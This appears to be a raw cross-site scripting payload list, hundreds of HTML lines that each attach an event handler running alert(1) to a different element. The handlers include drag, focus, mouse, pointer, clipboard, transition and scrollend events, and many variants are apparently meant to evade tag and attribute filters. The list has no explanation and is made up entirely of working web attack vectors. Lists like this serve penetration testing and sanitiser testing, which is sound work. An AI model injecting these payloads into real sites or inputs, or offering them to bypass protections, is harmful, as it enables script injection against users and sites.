<div draggable="true" contenteditable>drag me</div><svg ondragover=alert(1) contenteditable style=display:block>drop here</svg>
<div draggable="true" contenteditable>drag me</div><svg ondrop=alert(1) contenteditable style=display:block>drop here</svg>
<div draggable="true" contenteditable>drag me</div><table ondragover=alert(1) contenteditable style=display:block>drop here</table>
<div draggable="true" contenteditable>drag me</div><table ondrop=alert(1) contenteditable style=display:block>drop here</table>
<div draggable="true" contenteditable>drag me</div><tbody ondragover=alert(1) contenteditable style=display:block>drop here</tbody>
<div draggable="true" contenteditable>drag me</div><tbody ondrop=alert(1) contenteditable style=display:block>drop here</tbody>
<div draggable="true" contenteditable>drag me</div><td ondragover=alert(1) contenteditable style=display:block>drop here</td>
<div draggable="true" contenteditable>drag me</div><td ondrop=alert(1) contenteditable style=display:block>drop here</td>
<div draggable="true" contenteditable>drag me</div><template ondragover=alert(1) contenteditable style=display:block>drop here</template>
<div draggable="true" contenteditable>drag me</div><template ondrop=alert(1) contenteditable style=display:block>drop here</template>
<div draggable="true" contenteditable>drag me</div><textarea ondragover=alert(1) contenteditable style=display:block>drop here</textarea>
<div draggable="true" contenteditable>drag me</div><textarea ondrop=alert(1) contenteditable style=display:block>drop here</textarea>
<div draggable="true" contenteditable>drag me</div><tfoot ondragover=alert(1) contenteditable style=display:block>drop here</tfoot>
<div draggable="true" contenteditable>drag me</div><tfoot ondrop=alert(1) contenteditable style=display:block>drop here</tfoot>
<div draggable="true" contenteditable>drag me</div><th ondragover=alert(1) contenteditable style=display:block>drop here</th>
<div draggable="true" contenteditable>drag me</div><th ondrop=alert(1) contenteditable style=display:block>drop here</th>
<div draggable="true" contenteditable>drag me</div><thead ondragover=alert(1) contenteditable style=display:block>drop here</thead>
<div draggable="true" contenteditable>drag me</div><thead ondrop=alert(1) contenteditable style=display:block>drop here</thead>
<div draggable="true" contenteditable>drag me</div><time ondragover=alert(1) contenteditable style=display:block>drop here</time>
<div draggable="true" contenteditable>drag me</div><time ondrop=alert(1) contenteditable style=display:block>drop here</time>
<div draggable="true" contenteditable>drag me</div><title ondragover=alert(1) contenteditable style=display:block>drop here</title>
<div draggable="true" contenteditable>drag me</div><title ondrop=alert(1) contenteditable style=display:block>drop here</title>
<div draggable="true" contenteditable>drag me</div><tr ondragover=alert(1) contenteditable style=display:block>drop here</tr>
<div draggable="true" contenteditable>drag me</div><tr ondrop=alert(1) contenteditable style=display:block>drop here</tr>
<div draggable="true" contenteditable>drag me</div><track ondragover=alert(1) contenteditable style=display:block>drop here</track>
<div draggable="true" contenteditable>drag me</div><track ondrop=alert(1) contenteditable style=display:block>drop here</track>
<div draggable="true" contenteditable>drag me</div><tt ondragover=alert(1) contenteditable style=display:block>drop here</tt>
<div draggable="true" contenteditable>drag me</div><tt ondrop=alert(1) contenteditable style=display:block>drop here</tt>
<div draggable="true" contenteditable>drag me</div><u ondragover=alert(1) contenteditable style=display:block>drop here</u>
<div draggable="true" contenteditable>drag me</div><u ondrop=alert(1) contenteditable style=display:block>drop here</u>
<div draggable="true" contenteditable>drag me</div><ul ondragover=alert(1) contenteditable style=display:block>drop here</ul>
<div draggable="true" contenteditable>drag me</div><ul ondrop=alert(1) contenteditable style=display:block>drop here</ul>
<div draggable="true" contenteditable>drag me</div><var ondragover=alert(1) contenteditable style=display:block>drop here</var>
<div draggable="true" contenteditable>drag me</div><var ondrop=alert(1) contenteditable style=display:block>drop here</var>
<div draggable="true" contenteditable>drag me</div><video ondragover=alert(1) contenteditable style=display:block>drop here</video>
<div draggable="true" contenteditable>drag me</div><video ondrop=alert(1) contenteditable style=display:block>drop here</video>
<div draggable="true" contenteditable>drag me</div><video2 ondragover=alert(1) contenteditable style=display:block>drop here</video2>
<div draggable="true" contenteditable>drag me</div><video2 ondrop=alert(1) contenteditable style=display:block>drop here</video2>
<div draggable="true" contenteditable>drag me</div><wbr ondragover=alert(1) contenteditable style=display:block>drop here</wbr>
<div draggable="true" contenteditable>drag me</div><wbr ondrop=alert(1) contenteditable style=display:block>drop here</wbr>
<div draggable="true" contenteditable>drag me</div><xmp ondragover=alert(1) contenteditable style=display:block>drop here</xmp>
<div draggable="true" contenteditable>drag me</div><xmp ondrop=alert(1) contenteditable style=display:block>drop here</xmp>
<div draggable="true" ondrag="alert(1)" style=display:block>test</div>
<div draggable="true" ondragend="alert(1)" style=display:block>test</div>
<div draggable="true" ondragenter="alert(1)" style=display:block>test</div>
<div draggable="true" ondragleave="alert(1)" style=display:block>test</div>
<div draggable="true" ondragstart="alert(1)" style=display:block>test</div>
<div id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></div>
<div id=x tabindex=1 onfocus=alert(1)></div>
<div id=x tabindex=1 onfocusin=alert(1)></div>
<div onafterscriptexecute=alert(1)><script>1</script>
<div onbeforecopy="alert(1)" contenteditable>test</div>
<div onbeforecut="alert(1)" contenteditable>test</div>
<div onbeforescriptexecute=alert(1)><script>1</script>
<div onblur=alert(1) id=x tabindex=1 style=display:block>test</div><input value=clickme>
<div onclick="alert(1)" style=display:block>test</div>
<div oncontextmenu="alert(1)" style=display:block>test</div>
<div oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<div oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<div ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</div>
<div onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</div><input value=clickme>
<div onkeydown="alert(1)" contenteditable style=display:block>test</div>
<div onkeypress="alert(1)" contenteditable style=display:block>test</div>
<div onkeyup="alert(1)" contenteditable style=display:block>test</div>
<div onmousedown="alert(1)" style=display:block>test</div>
<div onmouseenter="alert(1)" style=display:block>test</div>
<div onmouseleave="alert(1)" style=display:block>test</div>
<div onmousemove="alert(1)" style=display:block>test</div>
<div onmouseout="alert(1)" style=display:block>test</div>
<div onmouseover="alert(1)" style=display:block>test</div>
<div onmouseup="alert(1)" style=display:block>test</div>
<div onmousewheel=alert(1) style=display:block>requires scrolling
<div onpaste="alert(1)" contenteditable>test</div>
<div onpointerdown=alert(1) style=display:block>XSS</div>
<div onpointerenter=alert(1) style=display:block>XSS</div>
<div onpointerleave=alert(1) style=display:block>XSS</div>
<div onpointermove=alert(1) style=display:block>XSS</div>
<div onpointerout=alert(1) style=display:block>XSS</div>
<div onpointerover=alert(1) style=display:block>XSS</div>
<div onpointerrawupdate=alert(1) style=display:block>XSS</div>
<div onpointerup=alert(1) style=display:block>XSS</div>
<div onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></div>
<dl contenteditable onbeforeinput=alert(1)>test
<dl draggable="true" ondrag="alert(1)" style=display:block>test</dl>
<dl draggable="true" ondragend="alert(1)" style=display:block>test</dl>
<dl draggable="true" ondragenter="alert(1)" style=display:block>test</dl>
<dl draggable="true" ondragleave="alert(1)" style=display:block>test</dl>
<dl draggable="true" ondragstart="alert(1)" style=display:block>test</dl>
<dl id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></dl>
<dl id=x tabindex=1 onfocus=alert(1)></dl>
<dl id=x tabindex=1 onfocusin=alert(1)></dl>
<dl onafterscriptexecute=alert(1)><script>1</script>
<dl onbeforecopy="alert(1)" contenteditable>test</dl>
<dl onbeforecut="alert(1)" contenteditable>test</dl>
<dl onbeforescriptexecute=alert(1)><script>1</script>
<dl onblur=alert(1) id=x tabindex=1 style=display:block>test</dl><input value=clickme>
<dl onclick="alert(1)" style=display:block>test</dl>
<dl oncontextmenu="alert(1)" style=display:block>test</dl>
<dl oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<dl oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<dl ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</dl>
<dl onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</dl><input value=clickme>
<dl onkeydown="alert(1)" contenteditable style=display:block>test</dl>
<dl onkeypress="alert(1)" contenteditable style=display:block>test</dl>
<dl onkeyup="alert(1)" contenteditable style=display:block>test</dl>
<dl onmousedown="alert(1)" style=display:block>test</dl>
<dl onmouseenter="alert(1)" style=display:block>test</dl>
<dl onmouseleave="alert(1)" style=display:block>test</dl>
<dl onmousemove="alert(1)" style=display:block>test</dl>
<dl onmouseout="alert(1)" style=display:block>test</dl>
<dl onmouseover="alert(1)" style=display:block>test</dl>
<dl onmouseup="alert(1)" style=display:block>test</dl>
<dl onmousewheel=alert(1) style=display:block>requires scrolling
<dl onpaste="alert(1)" contenteditable>test</dl>
<dl onpointerdown=alert(1) style=display:block>XSS</dl>
<dl onpointerenter=alert(1) style=display:block>XSS</dl>
<dl onpointerleave=alert(1) style=display:block>XSS</dl>
<dl onpointermove=alert(1) style=display:block>XSS</dl>
<dl onpointerout=alert(1) style=display:block>XSS</dl>
<dl onpointerover=alert(1) style=display:block>XSS</dl>
<dl onpointerrawupdate=alert(1) style=display:block>XSS</dl>
<dl onpointerup=alert(1) style=display:block>XSS</dl>
<dl onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></dl>
<dt contenteditable onbeforeinput=alert(1)>test
<dt draggable="true" ondrag="alert(1)" style=display:block>test</dt>
<dt draggable="true" ondragend="alert(1)" style=display:block>test</dt>
<dt draggable="true" ondragenter="alert(1)" style=display:block>test</dt>
<dt draggable="true" ondragleave="alert(1)" style=display:block>test</dt>
<dt draggable="true" ondragstart="alert(1)" style=display:block>test</dt>
<dt id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></dt>
<dt id=x tabindex=1 onfocus=alert(1)></dt>
<dt id=x tabindex=1 onfocusin=alert(1)></dt>
<dt onafterscriptexecute=alert(1)><script>1</script>
<dt onbeforecopy="alert(1)" contenteditable>test</dt>
<dt onbeforecut="alert(1)" contenteditable>test</dt>
<dt onbeforescriptexecute=alert(1)><script>1</script>
<dt onblur=alert(1) id=x tabindex=1 style=display:block>test</dt><input value=clickme>
<dt onclick="alert(1)" style=display:block>test</dt>
<dt oncontextmenu="alert(1)" style=display:block>test</dt>
<dt oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<dt oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<dt ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</dt>
<dt onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</dt><input value=clickme>
<dt onkeydown="alert(1)" contenteditable style=display:block>test</dt>
<dt onkeypress="alert(1)" contenteditable style=display:block>test</dt>
<dt onkeyup="alert(1)" contenteditable style=display:block>test</dt>
<dt onmousedown="alert(1)" style=display:block>test</dt>
<dt onmouseenter="alert(1)" style=display:block>test</dt>
<dt onmouseleave="alert(1)" style=display:block>test</dt>
<dt onmousemove="alert(1)" style=display:block>test</dt>
<dt onmouseout="alert(1)" style=display:block>test</dt>
<dt onmouseover="alert(1)" style=display:block>test</dt>
<dt onmouseup="alert(1)" style=display:block>test</dt>
<dt onmousewheel=alert(1) style=display:block>requires scrolling
<dt onpaste="alert(1)" contenteditable>test</dt>
<dt onpointerdown=alert(1) style=display:block>XSS</dt>
<dt onpointerenter=alert(1) style=display:block>XSS</dt>
<dt onpointerleave=alert(1) style=display:block>XSS</dt>
<dt onpointermove=alert(1) style=display:block>XSS</dt>
<dt onpointerout=alert(1) style=display:block>XSS</dt>
<dt onpointerover=alert(1) style=display:block>XSS</dt>
<dt onpointerrawupdate=alert(1) style=display:block>XSS</dt>
<dt onpointerup=alert(1) style=display:block>XSS</dt>
<dt onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></dt>
<element contenteditable onbeforeinput=alert(1)>test
<element draggable="true" ondrag="alert(1)" style=display:block>test</element>
<element draggable="true" ondragend="alert(1)" style=display:block>test</element>
<element draggable="true" ondragenter="alert(1)" style=display:block>test</element>
<element draggable="true" ondragleave="alert(1)" style=display:block>test</element>
<element draggable="true" ondragstart="alert(1)" style=display:block>test</element>
<element id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></element>
<element id=x tabindex=1 onfocus=alert(1)></element>
<element id=x tabindex=1 onfocusin=alert(1)></element>
<element onafterscriptexecute=alert(1)><script>1</script>
<element onbeforecopy="alert(1)" contenteditable>test</element>
<element onbeforecut="alert(1)" contenteditable>test</element>
<element onbeforescriptexecute=alert(1)><script>1</script>
<element onblur=alert(1) id=x tabindex=1 style=display:block>test</element><input value=clickme>
<element onclick="alert(1)" style=display:block>test</element>
<element oncontextmenu="alert(1)" style=display:block>test</element>
<element oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<element oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<element ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</element>
<element onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</element><input value=clickme>
<element onkeydown="alert(1)" contenteditable style=display:block>test</element>
<element onkeypress="alert(1)" contenteditable style=display:block>test</element>
<element onkeyup="alert(1)" contenteditable style=display:block>test</element>
<element onmousedown="alert(1)" style=display:block>test</element>
<element onmouseenter="alert(1)" style=display:block>test</element>
<element onmouseleave="alert(1)" style=display:block>test</element>
<element onmousemove="alert(1)" style=display:block>test</element>
<element onmouseout="alert(1)" style=display:block>test</element>
<element onmouseover="alert(1)" style=display:block>test</element>
<element onmouseup="alert(1)" style=display:block>test</element>
<element onmousewheel=alert(1) style=display:block>requires scrolling
<element onpaste="alert(1)" contenteditable>test</element>
<element onpointerdown=alert(1) style=display:block>XSS</element>
<element onpointerenter=alert(1) style=display:block>XSS</element>
<element onpointerleave=alert(1) style=display:block>XSS</element>
<element onpointermove=alert(1) style=display:block>XSS</element>
<element onpointerout=alert(1) style=display:block>XSS</element>
<element onpointerover=alert(1) style=display:block>XSS</element>
<element onpointerrawupdate=alert(1) style=display:block>XSS</element>
<element onpointerup=alert(1) style=display:block>XSS</element>
<element onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></element>
<em contenteditable onbeforeinput=alert(1)>test
<em draggable="true" ondrag="alert(1)" style=display:block>test</em>
<em draggable="true" ondragend="alert(1)" style=display:block>test</em>
<em draggable="true" ondragenter="alert(1)" style=display:block>test</em>
<em draggable="true" ondragleave="alert(1)" style=display:block>test</em>
<em draggable="true" ondragstart="alert(1)" style=display:block>test</em>
<em id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></em>
<em id=x tabindex=1 onfocus=alert(1)></em>
<em id=x tabindex=1 onfocusin=alert(1)></em>
<em onafterscriptexecute=alert(1)><script>1</script>
<em onbeforecopy="alert(1)" contenteditable>test</em>
<em onbeforecut="alert(1)" contenteditable>test</em>
<em onbeforescriptexecute=alert(1)><script>1</script>
<em onblur=alert(1) id=x tabindex=1 style=display:block>test</em><input value=clickme>
<em onclick="alert(1)" style=display:block>test</em>
<em oncontextmenu="alert(1)" style=display:block>test</em>
<em oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<em oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<em ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</em>
<em onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</em><input value=clickme>
<em onkeydown="alert(1)" contenteditable style=display:block>test</em>
<em onkeypress="alert(1)" contenteditable style=display:block>test</em>
<em onkeyup="alert(1)" contenteditable style=display:block>test</em>
<em onmousedown="alert(1)" style=display:block>test</em>
<em onmouseenter="alert(1)" style=display:block>test</em>
<em onmouseleave="alert(1)" style=display:block>test</em>
<em onmousemove="alert(1)" style=display:block>test</em>
<em onmouseout="alert(1)" style=display:block>test</em>
<em onmouseover="alert(1)" style=display:block>test</em>
<em onmouseup="alert(1)" style=display:block>test</em>
<em onmousewheel=alert(1) style=display:block>requires scrolling
<em onpaste="alert(1)" contenteditable>test</em>
<em onpointerdown=alert(1) style=display:block>XSS</em>
<em onpointerenter=alert(1) style=display:block>XSS</em>
<em onpointerleave=alert(1) style=display:block>XSS</em>
<em onpointermove=alert(1) style=display:block>XSS</em>
<em onpointerout=alert(1) style=display:block>XSS</em>
<em onpointerover=alert(1) style=display:block>XSS</em>
<em onpointerrawupdate=alert(1) style=display:block>XSS</em>
<em onpointerup=alert(1) style=display:block>XSS</em>
<em onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></em>
<embed contenteditable onbeforeinput=alert(1)>test
<embed draggable="true" ondrag="alert(1)" style=display:block>test</embed>
<embed draggable="true" ondragend="alert(1)" style=display:block>test</embed>
<embed draggable="true" ondragenter="alert(1)" style=display:block>test</embed>
<embed draggable="true" ondragleave="alert(1)" style=display:block>test</embed>
<embed draggable="true" ondragstart="alert(1)" style=display:block>test</embed>
<embed id=x onfocus=alert(1) type=text/html>
<embed id=x onfocusin=alert(1) type=text/html>
<embed id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></embed>
<embed onafterscriptexecute=alert(1)><script>1</script>
<embed onbeforecopy="alert(1)" contenteditable>test</embed>
<embed onbeforecut="alert(1)" contenteditable>test</embed>
<embed onbeforescriptexecute=alert(1)><script>1</script>
<embed onblur=alert(1) id=x tabindex=1 style=display:block>test</embed><input value=clickme>
<embed onclick="alert(1)" style=display:block>test</embed>
<embed oncontextmenu="alert(1)" style=display:block>test</embed>
<embed oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<embed oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<embed ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</embed>
<embed onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</embed><input value=clickme>
<embed onkeydown="alert(1)" contenteditable style=display:block>test</embed>
<embed onkeypress="alert(1)" contenteditable style=display:block>test</embed>
<embed onkeyup="alert(1)" contenteditable style=display:block>test</embed>
<embed onmousedown="alert(1)" style=display:block>test</embed>
<embed onmouseenter="alert(1)" style=display:block>test</embed>
<embed onmouseleave="alert(1)" style=display:block>test</embed>
<embed onmousemove="alert(1)" style=display:block>test</embed>
<embed onmouseout="alert(1)" style=display:block>test</embed>
<embed onmouseover="alert(1)" style=display:block>test</embed>
<embed onmouseup="alert(1)" style=display:block>test</embed>
<embed onmousewheel=alert(1) style=display:block>requires scrolling
<embed onpaste="alert(1)" contenteditable>test</embed>
<embed onpointerdown=alert(1) style=display:block>XSS</embed>
<embed onpointerenter=alert(1) style=display:block>XSS</embed>
<embed onpointerleave=alert(1) style=display:block>XSS</embed>
<embed onpointermove=alert(1) style=display:block>XSS</embed>
<embed onpointerout=alert(1) style=display:block>XSS</embed>
<embed onpointerover=alert(1) style=display:block>XSS</embed>
<embed onpointerrawupdate=alert(1) style=display:block>XSS</embed>
<embed onpointerup=alert(1) style=display:block>XSS</embed>
<embed onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></embed>
<embed src=/ onload=alert(1)>
<embed src=1 onerror=alert(1) type=image/gif>
<fieldset contenteditable onbeforeinput=alert(1)>test
<fieldset draggable="true" ondrag="alert(1)" style=display:block>test</fieldset>
<fieldset draggable="true" ondragend="alert(1)" style=display:block>test</fieldset>
<fieldset draggable="true" ondragenter="alert(1)" style=display:block>test</fieldset>
<fieldset draggable="true" ondragleave="alert(1)" style=display:block>test</fieldset>
<fieldset draggable="true" ondragstart="alert(1)" style=display:block>test</fieldset>
<fieldset id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></fieldset>
<fieldset id=x tabindex=1 onfocus=alert(1)></fieldset>
<fieldset id=x tabindex=1 onfocusin=alert(1)></fieldset>
<fieldset onafterscriptexecute=alert(1)><script>1</script>
<fieldset onbeforecopy="alert(1)" contenteditable>test</fieldset>
<fieldset onbeforecut="alert(1)" contenteditable>test</fieldset>
<fieldset onbeforescriptexecute=alert(1)><script>1</script>
<fieldset onblur=alert(1) id=x tabindex=1 style=display:block>test</fieldset><input value=clickme>
<fieldset onclick="alert(1)" style=display:block>test</fieldset>
<fieldset oncontextmenu="alert(1)" style=display:block>test</fieldset>
<fieldset oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<fieldset oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<fieldset ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</fieldset>
<fieldset onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</fieldset><input value=clickme>
<fieldset onkeydown="alert(1)" contenteditable style=display:block>test</fieldset>
<fieldset onkeypress="alert(1)" contenteditable style=display:block>test</fieldset>
<fieldset onkeyup="alert(1)" contenteditable style=display:block>test</fieldset>
<fieldset onmousedown="alert(1)" style=display:block>test</fieldset>
<fieldset onmouseenter="alert(1)" style=display:block>test</fieldset>
<fieldset onmouseleave="alert(1)" style=display:block>test</fieldset>
<fieldset onmousemove="alert(1)" style=display:block>test</fieldset>
<fieldset onmouseout="alert(1)" style=display:block>test</fieldset>
<fieldset onmouseover="alert(1)" style=display:block>test</fieldset>
<fieldset onmouseup="alert(1)" style=display:block>test</fieldset>
<fieldset onmousewheel=alert(1) style=display:block>requires scrolling
<fieldset onpaste="alert(1)" contenteditable>test</fieldset>
<fieldset onpointerdown=alert(1) style=display:block>XSS</fieldset>
<fieldset onpointerenter=alert(1) style=display:block>XSS</fieldset>
<fieldset onpointerleave=alert(1) style=display:block>XSS</fieldset>
<fieldset onpointermove=alert(1) style=display:block>XSS</fieldset>
<fieldset onpointerout=alert(1) style=display:block>XSS</fieldset>
<fieldset onpointerover=alert(1) style=display:block>XSS</fieldset>
<fieldset onpointerrawupdate=alert(1) style=display:block>XSS</fieldset>
<fieldset onpointerup=alert(1) style=display:block>XSS</fieldset>
<fieldset onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></fieldset>
<figcaption contenteditable onbeforeinput=alert(1)>test
<figcaption draggable="true" ondrag="alert(1)" style=display:block>test</figcaption>
<figcaption draggable="true" ondragend="alert(1)" style=display:block>test</figcaption>
<figcaption draggable="true" ondragenter="alert(1)" style=display:block>test</figcaption>
<figcaption draggable="true" ondragleave="alert(1)" style=display:block>test</figcaption>
<figcaption draggable="true" ondragstart="alert(1)" style=display:block>test</figcaption>
<figcaption id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></figcaption>
<figcaption id=x tabindex=1 onfocus=alert(1)></figcaption>
<figcaption id=x tabindex=1 onfocusin=alert(1)></figcaption>
<figcaption onafterscriptexecute=alert(1)><script>1</script>
<figcaption onbeforecopy="alert(1)" contenteditable>test</figcaption>
<figcaption onbeforecut="alert(1)" contenteditable>test</figcaption>
<figcaption onbeforescriptexecute=alert(1)><script>1</script>
<figcaption onblur=alert(1) id=x tabindex=1 style=display:block>test</figcaption><input value=clickme>
<figcaption onclick="alert(1)" style=display:block>test</figcaption>
<figcaption oncontextmenu="alert(1)" style=display:block>test</figcaption>
<figcaption oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<figcaption oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<figcaption ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</figcaption>
<figcaption onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</figcaption><input value=clickme>
<figcaption onkeydown="alert(1)" contenteditable style=display:block>test</figcaption>
<figcaption onkeypress="alert(1)" contenteditable style=display:block>test</figcaption>
<figcaption onkeyup="alert(1)" contenteditable style=display:block>test</figcaption>
<figcaption onmousedown="alert(1)" style=display:block>test</figcaption>
<figcaption onmouseenter="alert(1)" style=display:block>test</figcaption>
<figcaption onmouseleave="alert(1)" style=display:block>test</figcaption>
<figcaption onmousemove="alert(1)" style=display:block>test</figcaption>
<figcaption onmouseout="alert(1)" style=display:block>test</figcaption>
<figcaption onmouseover="alert(1)" style=display:block>test</figcaption>
<figcaption onmouseup="alert(1)" style=display:block>test</figcaption>
<figcaption onmousewheel=alert(1) style=display:block>requires scrolling
<figcaption onpaste="alert(1)" contenteditable>test</figcaption>
<figcaption onpointerdown=alert(1) style=display:block>XSS</figcaption>
<figcaption onpointerenter=alert(1) style=display:block>XSS</figcaption>
<figcaption onpointerleave=alert(1) style=display:block>XSS</figcaption>
<figcaption onpointermove=alert(1) style=display:block>XSS</figcaption>
<figcaption onpointerout=alert(1) style=display:block>XSS</figcaption>
<figcaption onpointerover=alert(1) style=display:block>XSS</figcaption>
<figcaption onpointerrawupdate=alert(1) style=display:block>XSS</figcaption>
<figcaption onpointerup=alert(1) style=display:block>XSS</figcaption>
<figcaption onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></figcaption>
<figure contenteditable onbeforeinput=alert(1)>test
<figure draggable="true" ondrag="alert(1)" style=display:block>test</figure>
<figure draggable="true" ondragend="alert(1)" style=display:block>test</figure>
<figure draggable="true" ondragenter="alert(1)" style=display:block>test</figure>
<figure draggable="true" ondragleave="alert(1)" style=display:block>test</figure>
<figure draggable="true" ondragstart="alert(1)" style=display:block>test</figure>
<figure id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></figure>
<figure id=x tabindex=1 onfocus=alert(1)></figure>
<figure id=x tabindex=1 onfocusin=alert(1)></figure>
<figure onafterscriptexecute=alert(1)><script>1</script>
<figure onbeforecopy="alert(1)" contenteditable>test</figure>
<figure onbeforecut="alert(1)" contenteditable>test</figure>
<figure onbeforescriptexecute=alert(1)><script>1</script>
<figure onblur=alert(1) id=x tabindex=1 style=display:block>test</figure><input value=clickme>
<figure onclick="alert(1)" style=display:block>test</figure>
<figure oncontextmenu="alert(1)" style=display:block>test</figure>
<figure oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<figure oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<figure ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</figure>
<figure onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</figure><input value=clickme>
<figure onkeydown="alert(1)" contenteditable style=display:block>test</figure>
<figure onkeypress="alert(1)" contenteditable style=display:block>test</figure>
<figure onkeyup="alert(1)" contenteditable style=display:block>test</figure>
<figure onmousedown="alert(1)" style=display:block>test</figure>
<figure onmouseenter="alert(1)" style=display:block>test</figure>
<figure onmouseleave="alert(1)" style=display:block>test</figure>
<figure onmousemove="alert(1)" style=display:block>test</figure>
<figure onmouseout="alert(1)" style=display:block>test</figure>
<figure onmouseover="alert(1)" style=display:block>test</figure>
<figure onmouseup="alert(1)" style=display:block>test</figure>
<figure onmousewheel=alert(1) style=display:block>requires scrolling
<figure onpaste="alert(1)" contenteditable>test</figure>
<figure onpointerdown=alert(1) style=display:block>XSS</figure>
<figure onpointerenter=alert(1) style=display:block>XSS</figure>
<figure onpointerleave=alert(1) style=display:block>XSS</figure>
<figure onpointermove=alert(1) style=display:block>XSS</figure>
<figure onpointerout=alert(1) style=display:block>XSS</figure>
<figure onpointerover=alert(1) style=display:block>XSS</figure>
<figure onpointerrawupdate=alert(1) style=display:block>XSS</figure>
<figure onpointerup=alert(1) style=display:block>XSS</figure>
<figure onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></figure>
<font contenteditable onbeforeinput=alert(1)>test
<font draggable="true" ondrag="alert(1)" style=display:block>test</font>
<font draggable="true" ondragend="alert(1)" style=display:block>test</font>
<font draggable="true" ondragenter="alert(1)" style=display:block>test</font>
<font draggable="true" ondragleave="alert(1)" style=display:block>test</font>
<font draggable="true" ondragstart="alert(1)" style=display:block>test</font>
<font id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></font>
<font id=x tabindex=1 onfocus=alert(1)></font>
<font id=x tabindex=1 onfocusin=alert(1)></font>
<font onafterscriptexecute=alert(1)><script>1</script>
<font onbeforecopy="alert(1)" contenteditable>test</font>
<font onbeforecut="alert(1)" contenteditable>test</font>
<font onbeforescriptexecute=alert(1)><script>1</script>
<font onblur=alert(1) id=x tabindex=1 style=display:block>test</font><input value=clickme>
<font onclick="alert(1)" style=display:block>test</font>
<font oncontextmenu="alert(1)" style=display:block>test</font>
<font oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<font oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<font ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</font>
<font onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</font><input value=clickme>
<font onkeydown="alert(1)" contenteditable style=display:block>test</font>
<font onkeypress="alert(1)" contenteditable style=display:block>test</font>
